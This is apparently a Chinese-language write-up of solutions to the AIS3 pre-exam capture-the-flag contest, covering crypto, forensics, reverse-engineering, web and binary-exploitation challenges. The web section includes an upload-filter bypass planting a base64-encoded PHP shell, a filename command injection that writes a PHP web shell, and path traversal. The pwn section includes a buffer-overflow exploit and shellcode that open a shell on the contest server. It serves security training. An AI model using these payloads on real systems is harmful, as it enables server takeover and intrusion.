第二次參加AIS3的pre-exam,這次的成績比想像中好,但總覺得該解更多Crypto


以下是解題的 Write Up
Crypto
SC
看起來像是轉置加密,題目給了加密的 cipher.py.enc 與 flag.txt.enc
透過 cipher.py 與 chiper.py.enc 得到對應的字典後解密
d = {"{":"{","}":"}","_":"_","\n":"\n"}
with open("cipher.py","r") as f1:
with open("cipher.py.enc","r") as f2:
a = f1.read()
b = f2.read()
for i in range(len(a)):
if a[i] != b[i]:
d[b[i]] = a[i]
# print(d)
with open("flag.txt.enc","r") as f:
for i in f.read():
print(d[i],end="")Code language: PHP (php)
flag : AIS3{math_go_brrrrr...}
Fast Cipher
output.txt 給了加密後的 flag6c0ec840f88d4cd7fcc6d5c6d1dafcc1cad7d0fcc2d1c6fcd6d0c6c7fccfcccfde
看起來像是CBC,要先拿到IV
key % 0xFF 後只需要管最後一個 byte
ciphertext = IV ^ plaintext
所以 IV = plaintext ^ ciphertext
而 plaintext 來自於 AIS3{}的第一個字元 A
ciphertext 則是來自加密後的 flag 的第一個 byte 0x6c
拿到 IV 之後就能計算每次的 key
再 xor ciphertext 便能得到 plaintext
import binascii
M = 2**1024
def f(x):
# this is a *fast* function
return (
4 * x**4 + 8 * x**8 + 7 * x**7 + 6 * x**6 + 3 * x**3 + 0x48763
) % M
enc = "6c0ec840f88d4cd7fcc6d5c6d1dafcc1cad7d0fcc2d1c6fcd6d0c6c7fccfcccfde"
key = 0x6c ^ 0x41
c = []
for i in binascii.unhexlify(enc):
c.append(chr(i ^ (key & 0xFF)))
key = f(key)
print("".join(c))Code language: PHP (php)
flag:AIS3{not_every_bits_are_used_lol}
Really Strange orAcle
看起來是一個普通的RSA,只是差在 \(n=p^2\)
首先先拿到 n,帶入\(c^2,c^4,c^8\)後用gcd便能得到n,並算出q
c = 22150336672496979638962230180217518423496181005284815673832203153133968589881822971312710453704161117011241122423286223422858899564437535499001766441913543991613670757686796591030905953030830655054576533311982839144204059994712860212164125636641078241687399159131260905954964635193224096838590121796046876029039159052869372996824283209678848322738094135665145888916537791000198004405105488955303679075764466344862150323100626390768935054832285928272047745296698400779865758705157051952449018367854026823181304116121843416408565623387615455828111964472866021377743400994809734130019117420371268503095194360920520754294
c2 = 2720379687644941839640174647709513057596667120189602935524678768803030001529564800331248084119416608897283100072415842517620848579612510945300370661371168057090416404458159253500084262567155192278999907713692456568761082039990636312973400075056048999273377984589081336429415671648736526461526985099160529047923042160174123185999906064606231440759906896844435507315436967204082749897037278075082454238463923451062071765947870056391550602053331212769825966839667652732905149432791026178804159385573335523903629513475841948496211581358708095365241087288371977686680041778829956005313244036231680812836482495952913654149
c4 = 15077744250194834341369528564510587321254873447743116231069968774726918597320754204963108479033795300218928893865804393555656629765349067579573995205455872633125475949473651584853160943170511881752808024135820011268660447704694282669511190099517954634881515346720620997629677353565529642603964399698884725163568153809129771295447576618023608875468608350081107266995065073021088991222934160432732574697913940145151702459484331859138233607910179179348024073488599864211651575524675652615746332503105946513633102709707839480105124056705048028435756575851725925343232351439988626923493660089903409443222967372766427505877
c8 = 26826781250485240107205806565470198235424381799903081119223042470070939251617723669766649858906116405763606062082062462392659592589941551094212081339642661994416094543729373586729010488168695799409618391659090474313369708950410407550570077822600832863932265109645640864360802153674045359215254069880385145355179371771085941397068774961394195454299863506546633167347854883162483746334442978213997100278599491182275455799400724580690489706956083173971013381791909598405808937827249864491132563638053872994001690110318124700026875841640770306339087452386837807669174183248142784513820550711031083753337874961288621383038
c16 = 25875932654095868914590749651186520503387923637282553746829426609531465537295875466400063950225232575893911757830016392130629407233440459877380098717637131613367000666285734443146072813967755177412414960873045113372728607861734722282904938217627022871702994510843712760227363861353514730124305157751389368491565336976732091017121769564081503786638049033039343252198093690487348368975159128393575288408670446615436868229025648814737842460845854083902302834504261470772352002317416360138146242522423301612821057103279883266188400631294526182676382770536333449728431713197384495518177211924011329270005167183498109450040
n = gcd(c2**2 -c4,c2**3 - c8)
p = isqrt(n)
接著使用Paillier Cryptosystem中的 \(y =(1+n)^x \mod n^2,x \equiv \frac {y-1}{n} \mod n\)反推 x
這裡的 n 帶入 q,輸入 q+1 交給 server,便能得到\(y = (1+q)^x \mod q^2\)
最後得到 x
y = 17647106937987573612955715628119848946184005885611996689981540968832019170205957006690349859603264011222346578092353839141352944182087256382107552883577016384405087538641866066364651301525471320604790150063878806306839925810588110734659133154508205293319633933566352985450048935224175873561555782002550424727533240381738734636169284953682783747087310293767894670467965326682855905576157191240165072193233640894339584825370050885909056358388113636763093349543545777989509828038933139586971869930787821165277766709483967911813662696644870395328260592701231588268471907301482093067987363353769055379236969328247614000330
e = ((y-1)//p)%pCode language: JavaScript (javascript)
得到 x = e 後便能使用RSA解密的方法得到 plaintext
r = n - p
d = pow(e,-1,r)
print(e*d%n)
m = pow(c,d,n)
print(m)
print(long_to_bytes(m))Code language: PHP (php)
flag:AIS3{math_go_brrrrr...}
Misc
Excel
打開題目給的excel檔後會得到有巨集的提示,用逐步執行後便能看到flag
Gift in the dream
透過 identify 的指令能得到圖片的資訊
使用identify -format "%s %T \n" gift_in_the_dream_updated.gif
便能快速取得每禎的時間
看到第二個數字為 65 就感覺出是ascii
a = "0 65 1 73 2 83 3 51 4 123 5 53 6 84 7 51 8 103 9 52 10 110 11 48 12 103 13 82 14 52 15 112 16 72 17 121 18 95 19 99 20 52 21 78 22 95 23 98 24 51 25 95 26 102 27 85 28 110 29 95 30 115 31 48 32 109 33 51 34 55 35 105 36 77 37 101 38 125 39 1 40 1 41 1 42 1 43 1 44 1 45 1 46 1 47 1 48 1 49 1"
a = a.split(" ")[1::2]
for i in a:
print(chr(int(i)),end="")Code language: PHP (php)
flag:AIS3{5T3g4n0gR4pHy_c4N_b3_fUn_s0m37iMe}
knock
題目要求給予 CTFd 的 API Key
輸入了之後便會跳出提示說knock on {IP}
在輸入前我已經把對AIS3 VPN interface的防火牆關了,並用wireshark抓取封包
輸入後能看到一系列的udp封包,仔細看port便能看到12065,猜測是後兩碼為ascii
撰寫一段程式碼
from pcapng import FileScanner,blocks
from Crypto.Util.number import bytes_to_long
with open("knock2.pcapng","rb") as f:
s = FileScanner(f)
for i in s:
if type(i) == blocks.EnhancedPacket:
print(chr(bytes_to_long(i.packet_data[22:24])%1000),end="")Code language: JavaScript (javascript)
flag : AIS3{kn0ckKNOCKknock}
Reverse
Time Management
用 ghidra 開後能看到一段
重點是 time 的值怎麼來的
能看到是其從 secret 取值後與 key 做 xor
其中比較特別的是與 secret xor 的 key 不是照順序,是由 64 bit 的 secret 高位元部份決定此 secret 要 xor 的 key,將值抽取出來後撰寫成code
import binascii
a = [
0x1,0x9,0x5,0x6,0x8,0xb,0x7,0x2,0x4,0x0,0xa,0x3
]
key = [0x3a011001,0x00000000,0x3104321a,0x00454f40,0x041d1432,0x3a0b002d,0x0c1a002c,0x0d3e1103,0x2c120a31,0x1a003100,0x4c4c1b0d,0x3e2d161d
]
secret_with_i = [
0x33534941,
0x6f6f687b,
0x5f796172,
0x69727473,
0x5f73676e,
0x615f7369,
0x7961776c,
0x6e615f73,
0x6573755f,
0x5f6c7566,
0x6d6d6f63,
0x7d646e61
]
# secret = 0x0d3e1103
for i in range(12):
t = key[a[i]] ^ secret_with_i[i]
for j in range(4):
print(chr(t&0xFF),end="")
t >>= 8
'''
for (j = 0; j < 4; j = j + 1) {
sleep(34659);
printf("%c",(ulong)time);
time = time >> 8;
fflush(stdout);
}
'''Code language: PHP (php)
flag : AIS3{You_are_the_master_of_time_management!!!!!}
Calculator
此為 .net 的reverse
使用dnspy開啟其中的AIS3.dll~AIS3333.dll能看到是分段的對flag的要求
而上方有一行[ExportMetadata(“Symbol”,’A’)]代表是此段flag的前綴
透過比對其要求後能慢慢的湊出flag
flag : AIS3{D0T_N3T_FRAm3W0rk_15_S0_C0mPlicaT3d__G_G}
Web
Simple File Uploader
此題目是一個檔案上傳器,其能上傳檔案,但有過濾掉字串
將副檔名從php改成pHp等便能躲過過濾
而對於函式名的過濾只需要用base64就能躲過
將以下code轉換成base64
<?php $o = shell_exec("/rUn_M3_t0_9et_fL4g");echo($o);Code language: HTML, XML (xml)
並利用file_put_contents函式將此檔案換成以上的codesolve.pHp
<?php
file_put_contents($f,base64_decode("PD9waHAgJG8gPSBzaGVsbF9leGVjKCIvclVuX00zX3QwXzlldF9mTDRnIik7ZWNobygkbyk7"));Code language: HTML, XML (xml)
將此檔案上傳後存取兩次便能得到flag
flag : AIS3{H3yyyyyyyy_U_g0t_mi٩(ˊᗜˋ*)و}
Poking Bear
網站會給與幾個不同的頁面,但就只有secret bear不能存取
點開其前後的兩個頁面能觀察到為http://chals1.ais3.org:8987/bear/350
與http://chals1.ais3.org:8987/bear/777
用requests掃看能不能掃到有用的頁面
for i in range(351,777):
q = requests.get(f"http://chals1.ais3.org:8987/bear/{i}")
if not "This is not even a bear." in q.text:
print(i)
exit(0)
sleep(0.1)Code language: PHP (php)
能發現499的反應不太一樣
連上後會發現有要求
利用BurpSuite修改傳送的資料
將human改成bear poker
就能拿到 flag
flag : AIS3{y0u_P0l<3_7h3_Bear_H@rdLy><}
TariTari
此網站能將上傳的東西轉成 tar.gz 後提供連結下載
隨意上傳東西後便能得到下載網址http://chals1.ais3.org:9453/download.php?file=N2E4ODY4ZTk0NzM4NDFhZTYyMWQ2YWZlZjUzZTE2MzUudGFyLmd6&name=test+test.txt.tar.gz
從這裡便能看到download.php,所以利用其參數下載檔案
file參數有用base64編碼,所以需要將../download.php與../index.php轉換成base64http://chals1.ais3.org:9453/download.php?file=Li4vZG93bmxvYWQucGhwhttp://chals1.ais3.org:9453/download.php?file=.Li4vaW5kZXgucGhw
得到index.php與download.php
而index.php便有重要的資訊
其用passthru直接加上參數的方式執行壓縮,所以可以在檔名下下手,做到command injection
目的是寫一個php後門到裡面,所以用base64 encode了一個php檔後寫成一串bash command
ovo.php
<?php echo(shell_exec($_GET["owo"]));Code language: HTML, XML (xml)
轉換成base64便是PD9waHAgZWNobyhzaGVsbF9leGVjKCRfR0VUWyJvd28iXSkpOw==
所以目標是執行echo 'PD9waHAgZWNobyhzaGVsbF9leGVjKCRfR0VUWyJvd28iXSkpOw==' | base64 -d > files/ovo.php
但”>”會被過濾掉,所以要再包一層base64echo 'ZWNobyAnUEQ5d2FIQWdaV05vYnloemFHVnNiRjlsZUdWaktDUmZSMFZVV3lKdmQyOGlYU2twT3c9PScgfCBiYXNlNjQgLWQgPiBmaWxlcy9vdm8ucGhw' | base64 -d | sh
以此當作檔名傳上去,要記得加上’; {cmd} ;’以關閉字串
最後便能存取伺服器上的後門

flag : AIS3{test_flag (to be changed)}
Pwn
SAAS – Crash
這題算是我最不明白的一關,在解題的時候隨便玩一玩就壞了
flag : AIS3{congrats_on_crashing_my_editor!_but_can_you_get_shell_from_it?}
BOF2WIN
這題是一題很標準的buffer overflow
這裡就一切從簡,掛上gdb後使用gdb-peda的pattern create 100
overflow後用pattern search找offset
找到offset後找get_the_flag的位置
撰寫poc
from pwn import *
offset = 24
s = b'A'*24
s += p64(0x0000000000401216)
p = remote("chals1.ais3.org",12347)
p.sendline(s)
print(p.recvall())Code language: JavaScript (javascript)

flag : AIS3{Re@1_B0F_m4st3r!!}
Give Me SC
這題要寫一段 arm64的 shellcode,但如上題一般一切從簡
from pwn import *
context.arch = 'arm64'
sh = asm(shellcraft.sh())
p = remote("chals1.ais3.org",15566)
p.sendline("123")
p.sendline(sh)
p.interactive()Code language: JavaScript (javascript)


flag : AIS3{Y0uR_f1rst_Aarch64_Shellcoding}